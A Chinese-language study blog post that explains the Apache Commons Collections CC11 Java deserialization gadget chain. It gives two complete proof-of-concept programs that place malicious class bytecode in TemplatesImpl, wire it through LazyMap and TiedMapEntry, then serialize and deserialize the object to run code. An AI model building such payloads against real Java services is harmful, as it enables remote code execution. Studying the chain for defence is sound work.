保持学习感觉,趁热打铁学下去🤓
说是CC11比较好用,后续会接触到,既可以加载恶意类,影响版本也比较广,学习!
CC11分析
这条链子说是CC2+CC6结合,后面利用到恶意类加载,简单回顾一下之前两条链子
之前在学CC3涉及到恶意类加载已经写过了CC6的恶意类加载版本
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 
 | package com;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 import org.apache.commons.collections.map.TransformedMap;
 
 
 import javax.xml.transform.TransformerConfigurationException;
 import java.io.*;
 import java.lang.annotation.Target;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.HashMap;
 import java.util.Map;
 
 public class test {
 public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
 byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,"_name","Calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{calc});
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 
 
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(templates),
 new InvokerTransformer("newTransformer",null,null)
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 
 
 HashMap<Object, Object> hashMap = new HashMap<Object,Object>();
 Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
 
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa");
 HashMap<Object, Object> expMap = new HashMap<>();
 expMap.put(tiedMapEntry,"bbb");
 decorateMap.remove("aaa");
 
 
 Class c = LazyMap.class;
 Field factoryField = c.getDeclaredField("factory");
 factoryField.setAccessible(true);
 factoryField.set(decorateMap,chainedTransformer);
 
 serialize(expMap);
 unserialize("ser.bin");
 }
 
 public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
 Field field = object.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(object,fieldValue);
 }
 
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 oos.writeObject(obj);
 }
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
 }
 
 | 
先比最开始的用多个组合InvokerTransformer成ChainedTransformer的版本,这个版本把templates和一个能调用TemplatesImpl.newTransformer的InvokerTransformer组合成新的ChainedTransformer,后面其他的没有怎么变。

而现在的CC11直接不用Transformer这个类,因为没必要,把有恶意字节码的templates当成key被加载进去就好了
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();
 byte[] code = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 setFieldValue(templates,"_name","Calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{code});
 
 InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
 
 
 
 HashMap<Object,Object> hashMap = new HashMap<>();
 Map decoratedMap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
 TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap,templates);
 HashMap<Object,Object> expMap = new HashMap<>();
 expMap.put(tiedMapEntry,"aaa");
 decoratedMap.remove(templates);
 
 setFieldValue(decoratedMap,"factory",invokerTransformer);
 
 serialize(expMap);
 unserialize("ser.bin");
 }
 
 | 
正着看一下逻辑,这次不把templates包进Transformer,而是直接
| 1
 | TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap,templates);
 | 
如果对应看TiedMapEntry这个类的构造函数,会发现

此时在TiedMapEntry里面,map是decoratedMap,我们会控制它是LazyMap,key是 templates我们知道链子会触发getValue(),进入后,也就是LazyMap.get(),之前我们不会在乎括号里的this.key是什么,这次我们把templates传进去,一直跟进

此时transformer里面
Input -> templates
this.iMethodName -> newTransformer
那这样对应的代码效果就是,反射执行了
| 1
 | templates.newTransformer();
 | 
那就达成我们的目的,恶意类加载,整体思路就是这样,还是很好理解的!